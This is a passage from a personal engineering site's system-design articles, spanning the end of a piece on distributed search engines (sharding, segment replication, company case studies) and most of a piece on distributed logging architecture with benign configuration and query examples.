| **Master**       | Cluster state, shard allocation, index creation | Low CPU/RAM, high reliability |
| **Data**         | Store segments, execute searches, indexing      | High disk, high RAM, high CPU |
| **Coordinating** | Route requests, merge results                   | High CPU, moderate RAM        |
| **Ingest**       | Pre-process documents (pipelines)               | High CPU                      |

**Best practices:**

- Minimum 3 dedicated master nodes (quorum requires majority)
- Separate data and coordinating nodes in large clusters (>50 nodes)
- Size data node heap to 50% of RAM (max 31GB for compressed OOPs)

### Primary and Replica Shards

Every index has N primary shards (fixed at creation in ES < 7.x, configurable now) and M replicas per primary.

**Write path:**

1. Write routes to primary shard
2. Primary indexes document, writes translog
3. Primary forwards to replicas
4. Replicas acknowledge
5. Primary acknowledges to client

**Read path:**

1. Query routes to any copy (primary or replica)
2. Adaptive replica selection picks healthiest copy
3. Results returned to coordinator

**In-sync copies:** Elasticsearch tracks which replicas are "in-sync"—they've acknowledged all operations. Only in-sync replicas can be promoted to primary on failure.

### Segment Replication (OpenSearch)

Traditional Elasticsearch uses **document replication**: each replica independently indexes the same document.

**Problem:** High CPU usage on replicas. N replicas = N× indexing work.

**OpenSearch's segment replication (GA in 2.7, 2023):**

1. Only primary indexes documents
2. Segment files copied to replicas
3. Replicas apply segments without re-indexing

**Results:**

- 40-50% reduction in replica CPU/memory
- 50% higher indexing throughput
- Trade-off: Slightly higher network bandwidth for segment transfer

**Design reasoning:** Segment replication makes sense when indexing is CPU-bound (complex analyzers, many fields). Document replication made sense when network was the bottleneck. Modern networks shifted the trade-off.

### OpenSearch vs. Elasticsearch

**Timeline:**

- January 2021: Elastic changes license from Apache 2.0 to SSPL/Elastic License
- April 2021: AWS forks Elasticsearch 7.10.2 as OpenSearch
- 2024: OpenSearch moves to Linux Foundation
- Late 2024: Elastic adds AGPLv3 option alongside SSPL

**Key differences (as of 2025):**

| Feature             | Elasticsearch                          | OpenSearch               |
| ------------------- | -------------------------------------- | ------------------------ |
| License             | SSPL + Elastic License (AGPLv3 option) | Apache 2.0               |
| Segment replication | No                                     | Yes (GA)                 |
| Security            | Paid (basic auth free)                 | Built-in, free           |
| Vector search       | Dense vector type                      | FAISS/Nmslib integration |
| Performance         | Generally faster on complex queries    | Competitive              |

## Real-World Case Studies

### Twitter: Earlybird Real-Time Search

**Problem:** Index every public tweet (400M+ daily) and make them searchable within 10 seconds.

**Architecture:**

- Custom search engine built on Lucene
- Earlybird servers handle real-time tweets (last 7-10 days)
- Archive servers handle historical tweets
- MinHashing for near-duplicate detection (4 bytes per tweet)

**Design decisions:**

1. **In-memory posting lists:** Recent tweets stay in RAM for single-digit-millisecond latency
2. **Temporal partitioning:** Earlybird handles "now", archive handles history
3. **Custom merge policy:** Optimized for high-velocity writes

**Scale:**

- 2+ billion queries per day
- 50ms average query latency
- Every public tweet since 2006 indexed

**Source:** Twitter Engineering Blog, "Building a Complete Tweet Index" (2014)

### Uber: Real-Time Marketplace Search

**Problem:** Match riders to drivers, eaters to restaurants, across 10,000+ cities with sub-second latency.

**Scale:**

- 800+ billion documents
- 1.5+ million writes per second
- Billions of documents scanned per second

**Architecture evolution:**

1. **Extended Lucene Core:** Modified for true concurrent read/write (standard Lucene commits are blocking)
2. **Virtual clusters:** Scaling beyond single Elasticsearch cluster limits
3. **Hexagonal geospatial queries:** 3× capacity improvement over rectangular bounding boxes

**Key innovation:** Uber moved from Lambda architecture (batch + streaming) to Kappa architecture (streaming only). Real-time updates flow through Kafka, indexed immediately.

**Source:** Uber Engineering Blog, "The Evolution of Uber's Search Platform" (2023)

### DoorDash: Custom Lucene Engine

**Problem:** Elasticsearch's document replication didn't scale for their write-heavy workload.

**Solution:** Built custom search engine on Lucene with segment replication.

**Architecture:**

- Separate indexer and searcher services
- S3 for segment distribution
- Segment replication (not document replication)

**Results:**

- 50% p99.9 latency reduction
- 75% hardware cost decrease

**Design reasoning:** Document replication meant N replicas doing N× the indexing work. For DoorDash's high-cardinality, frequently-updated catalog, this was the bottleneck.

**Source:** DoorDash Engineering Blog, "Introducing DoorDash's In-House Search Engine" (2024)

### Yelp: From Elasticsearch to Nrtsearch

**Problem:** Elasticsearch operational complexity and cost at Yelp's scale.

**Solution:** Built Nrtsearch, a custom Lucene-based search engine.

**Migration:**

- 90%+ of search traffic moved from Elasticsearch to Nrtsearch
- gRPC instead of REST
- Native segment replication

**Why they moved:**

1. Document replication scaling issues
2. Difficulty autoscaling Elasticsearch
3. Cost at their scale (billions of queries)

**Source:** Yelp Engineering Blog, "Nrtsearch: Yelp's Search Engine" (2021)

### Airbnb: Embedding-Based Retrieval

**Problem:** Lexical search (BM25) misses semantic matches. "Beach house" should match "oceanfront cottage."

**Solution:** Two-tower neural network for embedding-based retrieval.

**Architecture:**

1. Query tower encodes search query → 128-dimensional vector
2. Listing tower encodes each listing → 128-dimensional vector
3. ANN (Approximate Nearest Neighbor) search finds similar listings
4. Combine with BM25 scores for hybrid ranking

**Implementation detail:** They use IVF (Inverted File Index) for ANN search—cluster embeddings, then search only relevant clusters.

**Result:** Significant improvement in search relevance, especially for semantic queries.

**Source:** Airbnb Tech Blog, "Embedding-Based Retrieval for Airbnb Search" (2023)

## Common Pitfalls

### Pitfall 1: Over-Sharding

**The mistake:** Creating too many shards at index creation "for future growth."

**Why it happens:** Shards can't be split in older Elasticsearch versions, so teams over-provision.

**The consequence:**

- Each shard has overhead (heap, file handles, cluster state)
- 1000 shards × 20 replicas = 20,000 shard copies in cluster state
- Master node struggles to manage cluster state
- Small shards = inefficient searches (high per-shard overhead relative to data)

**The fix:** Start with fewer, larger shards (10-50GB each). Use index lifecycle management to roll over to new indexes. Elasticsearch 7.x+ supports shard splitting.

### Pitfall 2: Mapping Explosion

**The mistake:** Using dynamic mapping with high-cardinality field names.

**Why it happens:** Indexing JSON with arbitrary keys (e.g., user-generated metadata).

**The consequence:**

- Each unique field name creates mapping entries
- Mapping stored in cluster state (replicated to all nodes)
- 100K+ fields = cluster state bloat, slow master operations

**The fix:**

- Disable dynamic mapping for untrusted input
- Use `flattened` field type for arbitrary JSON
- Limit field count with `index.mapping.total_fields.limit`

### Pitfall 3: Deep Pagination

**The mistake:** Allowing `from=10000&size=100` in production.

**Why it happens:** Building UI with "jump to page 100" functionality.

**The consequence:**

- Each shard returns 10,100 documents
- Coordinator merges 10,100 × num_shards documents
- Memory pressure, slow queries, potential OOM

**The fix:**

- Default limit: `index.max_result_window = 10000`
- Use `search_after` for pagination beyond 10K
- Consider if users actually need page 100 (usually they don't)

### Pitfall 4: Not Tuning Refresh Interval

**The mistake:** Keeping 1-second refresh interval for bulk indexing.

**Why it happens:** Default settings work for search-heavy workloads.

**The consequence:**

- Segment created every second during bulk load
- Massive segment count → merge storm
- Slow indexing, high CPU from merges

**The fix:**

- Set `refresh_interval=-1` during bulk loading
- Refresh manually after bulk load completes
- Or increase to `30s` for write-heavy workloads

### Pitfall 5: Ignoring Segment Merges

**The mistake:** Not monitoring segment count and merge metrics.

**Why it happens:** Merges happen in the background, easy to ignore.

**The consequence:**

- Hundreds of small segments per shard
- Each search opens hundreds of files
- I/O bottleneck, slow searches

**The fix:**

- Monitor `segments.count` metric
- Force merge after bulk loads: `POST /index/_forcemerge?max_num_segments=1`
- Tune merge policy for your workload

## Conclusion

Distributed search engines trade write-time complexity (building inverted indexes, maintaining segments) for read-time performance (sub-second queries over billions of documents). The key design decisions:

1. **Document-based partitioning** dominates in practice. Term-based partitioning's theoretical benefits don't survive contact with write amplification and load balancing complexity.

2. **BM25** remains the production standard for lexical search. Learning-to-rank adds personalization and semantic understanding on top.

3. **Near-real-time indexing** exposes the refresh/flush/commit trichotomy. Understand what each operation does and when documents become searchable.

4. **Segment architecture** is fundamental. Immutable segments enable lock-free reads, efficient caching, and durable writes—but require merge management.

5. **Scatter-gather** is inherent to document-based partitioning. Optimize with adaptive replica selection, custom routing, and avoiding deep pagination.

The companies that build their own search (Twitter, Uber, DoorDash, Yelp) do so not because Elasticsearch is bad, but because their scale exposes specific bottlenecks—usually document replication or operational complexity. For most organizations, managed Elasticsearch or OpenSearch provides the right trade-off between capability and operational burden.

## Appendix

### Prerequisites

- Understanding of B-tree and hash index structures
- Familiarity with distributed systems concepts (partitioning, replication, consensus)
- Basic information retrieval concepts (term frequency, document frequency)

### Terminology

- **Inverted Index:** Data structure mapping terms to the documents containing them
- **Posting List:** Ordered list of document IDs (and metadata) for a single term
- **Segment:** Immutable, searchable unit of a Lucene index
- **Shard:** A single Lucene index; Elasticsearch distributes data across shards
- **TF-IDF (Term Frequency–Inverse Document Frequency):** Weighting scheme for term-document relevance
- **BM25 (Best Match 25):** Probabilistic ranking function extending TF-IDF
- **NRT (Near-Real-Time):** Indexing pattern where documents become searchable within seconds
- **FST (Finite State Transducer):** Compact data structure for term dictionary storage
- **Scatter-Gather:** Distributed query pattern: scatter to shards, gather and merge results

### Summary

- **Inverted indexes** transform O(n) document scans into O(1) term lookups. Lucene uses FSTs for term dictionaries and compressed posting lists.
- **Document-based partitioning** (horizontal sharding) dominates in production. Every query fans out to all shards, but writes are simple.
- **BM25** is the default ranking function—it extends TF-IDF with term frequency saturation and document length normalization.
- **Near-real-time indexing** uses refresh (searchable in ~1s), translog (durability), and segment merging (performance).
- **Segment replication** (OpenSearch) reduces replica CPU by copying segments instead of re-indexing documents.

### References

#### Foundational Papers

- [Robertson, S. & Zaragoza, H. "The Probabilistic Relevance Framework: BM25 and Beyond." Foundations and Trends in Information Retrieval, 2009](https://www.staff.city.ac.uk/~sbrp622/papers/foundations_bm25_review.pdf) - The authoritative reference on BM25 from its creators.
- [Pibiri, G. & Venturini, R. "Techniques for Inverted Index Compression." ACM Computing Surveys, 2020](https://dl.acm.org/doi/10.1145/3415148) - Comprehensive survey of posting list compression techniques.
- [Spark Jones, K. "A statistical interpretation of term specificity and its application in retrieval." Journal of Documentation, 1972](https://asistdl.onlinelibrary.wiley.com/doi/10.1002/asi.4630280302) - Original IDF paper.

#### Official Documentation

- [Elasticsearch Reference](https://www.elastic.co/guide/en/elasticsearch/reference/current/index.html) - Official Elasticsearch documentation.
- [OpenSearch Documentation](https://opensearch.org/docs/latest/) - OpenSearch project documentation.

#### Textbooks

- [Manning, C., Raghavan, P., & Schütze, H. "Introduction to Information Retrieval." Cambridge University Press, 2008](https://nlp.stanford.edu/IR-book/) - The standard IR textbook, freely available online.

#### Engineering Blogs

- [Twitter Engineering: Building a Complete Tweet Index](https://blog.x.com/engineering/en_us/a/2014/building-a-complete-tweet-index) - Earlybird architecture and real-time indexing.
- [Uber Engineering: The Evolution of Uber's Search Platform](https://www.uber.com/blog/evolution-of-ubers-search-platform/) - Scaling search to billions of documents.
- [DoorDash Engineering: Introducing DoorDash's In-House Search Engine](https://doordash.engineering/2024/02/27/introducing-doordashs-in-house-search-engine/) - Custom Lucene engine with segment replication.
- [Yelp Engineering: Nrtsearch](https://engineeringblog.yelp.com/2021/09/nrtsearch-yelps-fast-scalable-and-cost-effective-search-engine.html) - Why Yelp moved from Elasticsearch.
- [Airbnb Tech Blog: Embedding-Based Retrieval](https://medium.com/airbnb-engineering/improving-deep-learning-for-ranking-stays-at-airbnb-959c3fec6212) - Hybrid search with neural embeddings.
- [Mike McCandless: Using Finite State Transducers in Lucene](https://blog.mikemccandless.com/2010/12/using-finite-state-transducers-in.html) - FST implementation details from Lucene committer.

#### Specifications

- [OpenSearch Segment Replication](https://opensearch.org/docs/latest/tuning-your-cluster/availability-and-recovery/segment-replication/index/) - Segment replication design and configuration.
- [Elasticsearch Learning to Rank Plugin](https://elasticsearch-learning-to-rank.readthedocs.io/) - LTR implementation for Elasticsearch.

---

## Distributed Logging System

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-building-blocks/distributed-logging-system
**Category:** System Design / System Design Building Blocks
**Description:** Centralized logging infrastructure enables observability across distributed systems. This article covers log data models, collection architectures, storage engines, indexing strategies, and scaling approaches—with design trade-offs and real-world implementations from Netflix (5 PB/day), Uber, and others.

# Distributed Logging System

Centralized logging infrastructure enables observability across distributed systems. This article covers log data models, collection architectures, storage engines, indexing strategies, and scaling approaches—with design trade-offs and real-world implementations from Netflix (5 PB/day), Uber, and others.

<figure>

![End-to-end distributed logging architecture: collection agents ship logs through a message queue buffer, stream processors parse and route data to tiered storage, and an index service powers search queries.](./end-to-end-distributed-logging-architecture-collection-agents-ship-logs-through-.svg)

<figcaption>End-to-end distributed logging architecture: collection agents ship logs through a message queue buffer, stream processors parse and route data to tiered storage, and an index service powers search queries.</figcaption>
</figure>

## Abstract

Distributed logging solves the observability problem: reconstructing system behavior from scattered, ephemeral log streams across hundreds of services. The core tension is between **query flexibility** (full-text search, ad-hoc filtering) and **cost efficiency** (storage, indexing overhead).

Key design decisions:

- **Data model**: Structured logging (JSON/Protobuf) enables schema evolution and efficient compression, but requires upfront discipline
- **Collection topology**: Sidecar agents provide isolation but consume 10-20x more resources than DaemonSet agents; choose based on multi-tenancy needs
- **Index strategy**: Full inverted indexes (Elasticsearch) enable rich queries but triple storage costs; label-only indexes (Loki) reduce costs 10x but require brute-force content scanning
- **Storage tiering**: Hot/warm/cold tiers balance query latency against cost—Netflix keeps 3 days hot, 30 days warm, years cold

The mental model: logs are **write-heavy, read-sparse** time-series data with **unpredictable query patterns**. Systems optimized for write throughput (LSM trees, columnar storage) outperform row-oriented databases by 10-100x, but indexing strategy determines whether queries take milliseconds or minutes.

## Log Data Model

### Structured vs Unstructured

Unstructured logs (free-form text) are easy to emit but expensive to query. Every search requires regex parsing across terabytes of data.

Structured logging (JSON, Protocol Buffers) shifts parsing cost from query time to write time:

```json collapse={1-2}
// Structured log entry
{
  "timestamp": "2024-01-15T10:23:45.123Z",
  "level": "ERROR",
  "service": "payment-service",
  "trace_id": "abc123",
  "message": "Payment failed",
  "error_code": "INSUFFICIENT_FUNDS",
  "amount_cents": 5000,
  "user_id": "usr_789"
}
```

**Trade-offs:**

| Aspect            | Unstructured    | Structured (JSON)    | Structured (Protobuf)    |
| ----------------- | --------------- | -------------------- | ------------------------ |
| Write simplicity  | ✅ printf-style | Requires log library | Requires codegen         |
| Query flexibility | ❌ Regex only   | ✅ Field extraction  | ✅ Field extraction      |
| Schema evolution  | N/A             | Implicit (any field) | Explicit (field numbers) |
| Compression ratio | 2-5x            | 5-10x                | 10-20x                   |
| Cross-language    | ✅ Universal    | ✅ Universal         | Requires runtime         |

**Design choice**: JSON is the de-facto standard for application logs because it balances flexibility with tooling support. Protocol Buffers excel for high-volume internal telemetry where schema discipline is enforced.

### Schema Evolution

JSON's implicit schema makes additions trivial but creates drift. Protocol Buffers enforce evolution rules:

- **Field numbers**: Never reuse deleted field numbers (reserve them)
- **Adding fields**: Safe—Proto3 defaults missing fields to zero values
- **Removing fields**: Mark as reserved, never reuse the number
- **Type changes**: Incompatible—requires new field

The [buf](https://buf.build/) toolchain automates breaking change detection for Protobuf schemas.

**Real-world example**: Datadog recommends log entries under 25KB for optimal performance, with a hard limit of 1MB. Large logs (stack traces, request bodies) should be truncated or sampled.

## Collection Architecture

### Agent Deployment Patterns

Two dominant patterns for Kubernetes environments:

**DaemonSet Pattern** (one agent per node):

```yaml collapse={1-4, 12-20}
# Fluentd DaemonSet configuration
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: fluentd
spec:
  template:
    spec:
      containers:
        - name: fluentd
          resources:
            requests:
              memory: "200Mi"
              cpu: "100m"
```

- **Pros**: Resource-efficient (one agent serves all pods), simpler management
- **Cons**: Single point of failure per node, limited tenant isolation
- **Best for**: Clusters with <500 log configurations, homogeneous workloads

**Sidecar Pattern** (one agent per pod):

- **Pros**: Tenant isolation, per-application configuration, failure isolation
- **Cons**: 10-20x higher resource overhead, complex lifecycle management
- **Best for**: Multi-tenant platforms, >500 configurations, PaaS environments

**Decision factor**: WePay's engineering team found the threshold at approximately 500 collection configurations—below this, DaemonSets suffice; above, sidecars provide necessary isolation.

### Shipping Strategies

**Push vs Pull:**

| Model | Latency                   | Failure Mode             | Backpressure |
| ----- | ------------------------- | ------------------------ | ------------ |
| Push  | Lower (immediate)         | Agent buffers on failure | Agent-side   |
| Pull  | Higher (polling interval) | Central buffer           | Server-side  |

**Batching** is critical for efficiency. Fluent Bit defaults to 2KB chunks, flushing every 1 second. Larger batches reduce network overhead but increase latency and memory pressure.

**Backpressure handling**:

1. **Bounded memory buffers**: Drop oldest logs when full (acceptable for most logs)
2. **Disk spillover**: Write to local disk when memory exhausted (Fluentd's buffer plugin)
3. **Sampling**: Reduce rate dynamically under pressure (Vector's adaptive sampling)

### Agent Comparison

| Agent      | Language | Memory | Throughput | Best For                            |
| ---------- | -------- | ------ | ---------- | ----------------------------------- |
| Fluent Bit | C        | ~20MB  | High       | Edge, IoT, resource-constrained     |
| Fluentd    | Ruby     | ~100MB | Medium     | Plugin ecosystem, complex routing   |
| Vector     | Rust     | ~50MB  | Very high  | Performance-critical, modern stacks |
| Filebeat   | Go       | ~30MB  | Medium     | Elastic ecosystem                   |
| Logstash   | Java     | ~500MB | Medium     | Complex transformations             |

## Buffer and Stream Processing

### Why Buffer?

Direct shipping from agents to storage creates coupling and cascading failures. A message queue buffer (Kafka, Kinesis) provides:

1. **Absorption**: Handle ingestion spikes without dropping logs
2. **Decoupling**: Storage maintenance doesn't block collection
3. **Replay**: Reprocess historical logs for new pipelines
4. **Fan-out**: Multiple consumers from single stream

**Trade-off**: Adds operational complexity and ~10-50ms latency.

### Kafka for Log Streams

Kafka's partitioned log model aligns naturally with log data:

```text
Topic: application-logs
├── Partition 0: [service-a logs, ordered by offset]
├── Partition 1: [service-b logs, ordered by offset]
└── Partition 2: [service-c logs, ordered by offset]
```

**Partition key choices:**

| Key              | Pros                              | Cons                                    |
| ---------------- | --------------------------------- | --------------------------------------- |
| Service name     | Co-located logs, good compression | Hot partitions for high-volume services |
| Trace ID         | Correlated logs together          | Uneven distribution                     |
| Round-robin      | Even distribution                 | No ordering guarantees                  |
| Timestamp bucket | Time locality                     | Clock skew issues                       |

**Backpressure in Kafka consumers:**

1. Disable auto-commit; acknowledge only after successful processing
2. Use bounded thread pools to cap concurrent processing
3. Dynamically pause partitions when downstream systems stress
4. Monitor consumer lag as health signal

### Stream Processing

Stream processors transform raw logs before storage:

- **Parsing**: Extract structured fields from unstructured text
- **Enrichment**: Add metadata (geo-IP, user attributes, service ownership)
- **Routing**: Direct logs to different storage tiers by level/service
- **Sampling**: Reduce volume for high-cardinality, low-value logs

**Design choice**: Lightweight processing (regex, JSON parsing) can happen in agents. Heavy enrichment (database lookups, ML classification) belongs in dedicated stream processors.

## Storage Engines

### Write-Optimized Architectures

Logs are write-heavy: a single service might emit 10,000 logs/second but queries happen once per incident. Two architectures dominate:

**LSM Trees (Log-Structured Merge Trees)**:

```text
Write Path:
  Log Entry → MemTable (memory) → Flush → SSTable (disk)
                                            ↓
                                    Background compaction
                                            ↓
                                    Merged SSTables
```

- **Writes**: Sequential, batched, O(1) amortized
- **Reads**: Check MemTable, then each SSTable level (bloom filters help)
- **Used in**: Elasticsearch (Lucene segments), RocksDB, Cassandra

**Columnar Storage**:

```text
Row-oriented:           Columnar:
| ts | level | msg |    | ts_col | level_col | msg_col |
| t1 | INFO  | A   |    | t1     | INFO      | A       |
| t2 | ERROR | B   |    | t2     | ERROR     | B       |
| t3 | INFO  | C   |    | t3     | INFO      | C       |
```

- **Compression**: Same-type columns compress dramatically better (10-100x vs row)
- **Query efficiency**: Read only needed columns; skip irrelevant data
- **Used in**: ClickHouse, Druid, Parquet files

**Netflix's ClickHouse deployment** ingests 5 petabytes daily (10.6M events/second average, 12.5M peak) using columnar storage with aggressive compression.

### Compression Techniques

ClickHouse achieves **170x compression** on nginx access logs through layered compression:

| Technique           | How It Works                                       | Best For                                |
| ------------------- | -------------------------------------------------- | --------------------------------------- |
| Dictionary encoding | Store unique values in dictionary, reference by ID | Low-cardinality fields (level, service) |
| Delta encoding      | Store differences between consecutive values       | Timestamps, monotonic IDs               |
| LZ4                 | Fast block compression                             | General purpose, read-heavy             |
| ZSTD                | Higher compression, more CPU                       | Archive, I/O-bound queries              |

**Codec selection rule**: ZSTD for large range scans where decompression is amortized; LZ4 when decompression latency dominates (point queries).

### Tiered Storage

Hot/warm/cold tiering balances query performance against storage cost:

| Tier | Storage             | Indexing      | Retention | Query Latency |
| ---- | ------------------- | ------------- | --------- | ------------- |
| Hot  | NVMe SSD            | Full          | 1-7 days  | <100ms        |
| Warm | HDD/SSD             | Partial       | 7-90 days | 1-10s         |
| Cold | Object storage (S3) | Metadata only | Years     | 30s-minutes   |

**Elasticsearch ILM (Index Lifecycle Management)** automates transitions:

```json collapse={1-2, 15-20}
// ILM policy example
{
  "policy": {
    "phases": {
      "hot": {
        "actions": {
          "rollover": { "max_size": "50GB", "max_age": "1d" }
        }
      },
      "warm": {
        "min_age": "7d",
        "actions": {
          "shrink": { "number_of_shards": 1 },
          "forcemerge": { "max_num_segments": 1 }
        }
      },
      "cold": {
        "min_age": "30d",
        "actions": {
          "freeze": {}
        }
      }
    }
  }
}
```

**Splunk SmartStore** decouples compute from storage: indexers use local SSD as cache while persisting warm/cold data to S3-compatible object storage. This enables elastic scaling—compute scales independently from storage.

## Indexing Strategies

### Inverted Indexes (Full-Text Search)

Elasticsearch/Lucene builds inverted indexes mapping terms to documents:

```text
Term Dictionary:        Postings List:
"error"     → [doc1, doc3, doc7]
"payment"   → [doc2, doc3]
"timeout"   → [doc1, doc5, doc7]
```

**Query execution**: Look up term in dictionary (O(log n)), retrieve posting list, intersect/union lists for boolean queries.

**Storage overhead**: Inverted indexes typically 2-3x the original data size. With position information (for phrase queries), overhead reaches 3-4x.

**Trade-off**: Rich query capabilities (wildcards, fuzzy matching, phrase search) at significant storage and write cost.

### Label-Based Indexing (Loki)

Grafana Loki indexes only label metadata, not log content:

```text
Labels: {service="payment", level="error", env="prod"}
Chunks: [compressed log lines matching these labels]
```

**Query execution**: Filter by labels (indexed), then brute-force scan chunk content.

**LogQL query**:

```logql
{service="payment"} |= "timeout" | json | latency_ms > 500
```

**Trade-offs:**

| Aspect           | Inverted Index (Elasticsearch) | Label-Only (Loki)     |
| ---------------- | ------------------------------ | --------------------- |
| Index size       | 2-4x original                  | <5% original          |
| Storage cost     | High                           | Low                   |
| Full-text search | ✅ Fast                        | ❌ Scan required      |
| High cardinality | Handles well                   | ⚠️ Label explosion    |
| Query latency    | Consistent                     | Varies with scan size |

**Cardinality constraint**: Loki performs poorly with high-cardinality labels (user IDs, request IDs). Keep label cardinality under 100,000 unique combinations.

### Bloom Filters

Bloom filters provide probabilistic existence checks with minimal memory:

```text
Query: "Does chunk X contain 'error'?"
Bloom filter: "Probably yes" or "Definitely no"
```

**Characteristics:**

- False positives possible (check chunk, find nothing)
- False negatives impossible (if filter says no, it's no)
- Memory: ~10 bits per element for 1% false positive rate

**ClickHouse uses bloom filters** as skip indexes—they tell the engine where NOT to look, reducing disk I/O without full indexing overhead.

**Break-even analysis**: For existence queries on moderate datasets, bloom filters outperform inverted indexes up to ~7,200 documents. Beyond that, inverted indexes' O(1) lookup dominates.

## Query Patterns

### Real-Time vs Historical

| Query Type             | Latency SLA | Index Strategy | Storage Tier |
| ---------------------- | ----------- | -------------- | ------------ |
| Live tail              | <1s         | In-memory only | Hot          |
| Incident investigation | <10s        | Full index     | Hot + Warm   |
| Compliance audit       | Minutes OK  | Partial/None   | Warm + Cold  |
| Analytics/trending     | Minutes OK  | Aggregated     | All tiers    |

### Correlation Across Services

Distributed tracing enables log correlation:

```text
Request flow:
  API Gateway → Auth Service → Payment Service → Notification
       ↓              ↓              ↓                ↓
  trace_id=abc   trace_id=abc   trace_id=abc    trace_id=abc
```

All logs share `trace_id`, enabling reconstruction of the full request path.

**Uber's Jaeger** records thousands of traces per second across hundreds of microservices, using trace IDs to correlate logs, metrics, and traces.

### Aggregation Queries

Common patterns:

```sql
-- Error rate by service (last hour)
SELECT service, count(*) as errors
FROM logs
WHERE level = 'ERROR' AND timestamp > now() - interval 1 hour
GROUP BY service
ORDER BY errors DESC

-- P99 latency by endpoint
SELECT endpoint, quantile(0.99)(latency_ms) as p99
FROM logs
WHERE timestamp > now() - interval 1 day
GROUP BY endpoint
```

Columnar storage (ClickHouse) excels here—only the referenced columns are read from disk.

## Scaling Approaches

### Partitioning Strategies

**Time-based partitioning** (most common):

```text
logs-2024-01-15
logs-2024-01-16
logs-2024-01-17
```

- Natural fit for retention policies (drop old partitions)
- Query locality for time-range queries
- Risk: Recent partitions are hot; older partitions cold

**Composite partitioning** (time + source):

```text
logs-payment-2024-01-15
logs-auth-2024-01-15
logs-payment-2024-01-16
```

- Better load distribution
- Service-specific retention policies
- Complexity: More partitions to manage

**Key insight**: Each partition is independently ordered, but there's no global ordering across partitions. This enables horizontal scaling but complicates cross-partition queries.

### Replication

Standard replication for durability:

| Strategy          | Consistency | Write Latency | Failure Tolerance |
| ----------------- | ----------- | ------------- | ----------------- |
| Sync 2 replicas   | Strong      | Higher        | 1 node            |
| Async replication | Eventual    | Lower         | Data loss window  |
| Quorum (2 of 3)   | Strong      | Medium        | 1 node            |

Logs typically tolerate eventual consistency—losing a few log lines during failures is acceptable for most use cases.

### Sharding for Write Throughput

When a single partition can't handle write volume:

```text
logs-payment (logical) →
  logs-payment-shard-0 (physical, 33% of writes)
  logs-payment-shard-1 (physical, 33% of writes)
  logs-payment-shard-2 (physical, 33% of writes)
```

**Shard key considerations:**

- Hash of trace ID: Even distribution, but scatter-gather queries
- Round-robin: Maximum distribution, no locality
- Consistent hashing: Smooth rebalancing when adding shards

## Real-World Implementations

### ELK Stack (Elasticsearch, Logstash, Kibana)

**Architecture layers:**

1. **Collection**: Filebeat/Metricbeat ship logs
2. **Processing**: Logstash ingests, parses, enriches
3. **Storage**: Elasticsearch indexes into sharded indices
4. **Visualization**: Kibana queries via REST API

**Design characteristics:**

- Inverted indexes for full-text search
- Shard sizing: 10-50GB per shard for optimal performance
- Replica count: Typically 1 (2 copies total)

**When to use**: Need rich full-text search, complex queries, established ecosystem.

### Grafana Loki

**Architecture:**

1. **Distributor**: Receives logs, validates, forwards to ingesters
2. **Ingester**: Batches logs into chunks, builds label index
3. **Querier**: Executes LogQL queries, merges results
4. **Chunk Store**: Object storage (S3/GCS) for compressed log chunks
5. **Index Store**: Label index in BoltDB, Cassandra, or object storage

**Design characteristics:**

- Label-only indexing (like Prometheus for logs)
- Chunk compression: Snappy or LZ4
- Cost: 10x cheaper than full-text indexing at scale

**When to use**: Already using Grafana, cost-sensitive, structured logs with low-cardinality labels.

### ClickHouse for Logs

**Netflix case study** (5 PB/day):

Three optimizations reduced query latency from 3s to 700ms:

1. **Generated lexers**: Custom log fingerprinting achieved 8-10x faster parsing than regex
2. **Native protocol serialization**: Bypassed HTTP overhead for bulk inserts
3. **Sharded tag maps**: Distributed high-cardinality tag lookups across nodes

**Design characteristics:**

- Columnar storage with MergeTree engine
- Compression: 170x possible with proper codecs
- Materialized views for pre-aggregation

**When to use**: Extreme scale (petabytes), analytical queries, cost efficiency over query flexibility.

### Splunk

**Architecture:**

1. **Forwarders**: Ship raw data
2. **Indexers**: Parse, extract fields, build indexes
3. **Search heads**: Execute SPL queries

**SmartStore innovation**: Separates compute from storage—indexers cache recent data on SSD while warm/cold data lives in S3. Enables elastic scaling without full reindexing.

**When to use**: Enterprise requirements, compliance, integrated security analytics.

### Datadog

**CloudPrem architecture** (self-hosted option):

- Indexers write splits directly to object storage
- Central metastore tracks splits for instant query availability
- Horizontal scaling via load balancer
- Observability Pipelines Worker for complex routing

**Design characteristics:**

- Log entries optimally <25KB, max 1MB
- Separation of indexing from storage
- Multi-tenant isolation

## Common Pitfalls

### 1. High-Cardinality Labels

**The mistake**: Using request IDs, user IDs, or timestamps as index labels.

**Why it happens**: Developers want to query by these fields.

**The consequence**: Index explosion—Loki becomes unusable; Elasticsearch shard counts explode.

**The fix**: High-cardinality values go in log content, not labels. Query them with full-text search or store in a separate trace store.

### 2. Unbounded Log Volume

**The mistake**: Logging every request at DEBUG level in production.

**Why it happens**: "We might need it for debugging."

**The consequence**: Storage costs spiral; query performance degrades.

**The fix**:

- Sample high-volume, low-value logs
- Use log levels appropriately (ERROR/WARN for alerts, INFO for business events, DEBUG for local dev)
- Set per-service quotas

### 3. Missing Correlation IDs

**The mistake**: No trace ID propagation across services.

**Why it happens**: Requires cross-team coordination.

**The consequence**: Incident investigation requires manual correlation across time windows.

**The fix**: Mandate trace ID headers (e.g., `X-Request-ID`) at API gateway; propagate through all services.

### 4. Single-Tier Storage

**The mistake**: Keeping all logs on hot storage indefinitely.

**Why it happens**: "Storage is cheap."

**The consequence**: At scale, SSD costs dwarf compute. Query performance degrades as index size grows.

**The fix**: Implement hot/warm/cold tiering. Most logs are never queried after 7 days.

### 5. No Backpressure Handling

**The mistake**: Agents with unbounded memory buffers.

**Why it happens**: "We can't lose logs."

**The consequence**: Agent OOMs during ingestion spikes; entire node destabilized.

**The fix**: Bounded buffers with overflow to disk, or sampling under pressure. Some log loss is better than node failure.

## Conclusion

Distributed logging infrastructure requires balancing query flexibility against cost efficiency. The key design decisions are:

1. **Data model**: Structured logging (JSON for flexibility, Protobuf for performance) enables downstream efficiency
2. **Collection**: DaemonSets for simplicity, sidecars for isolation—threshold around 500 configurations
3. **Indexing**: Full inverted indexes (Elasticsearch) for query richness; label-only indexes (Loki) for cost efficiency
4. **Storage**: Tiered architecture with ILM automation; most logs never queried after 7 days
5. **Scaling**: Time-based partitioning with consistent hashing for writes; replication for durability

Netflix's 5 PB/day deployment demonstrates that extreme scale is achievable with columnar storage (ClickHouse), aggressive compression (170x), and careful data modeling. The trade-off: less query flexibility than full-text search systems.

## Appendix

### Prerequisites

- Understanding of distributed systems fundamentals (replication, partitioning)
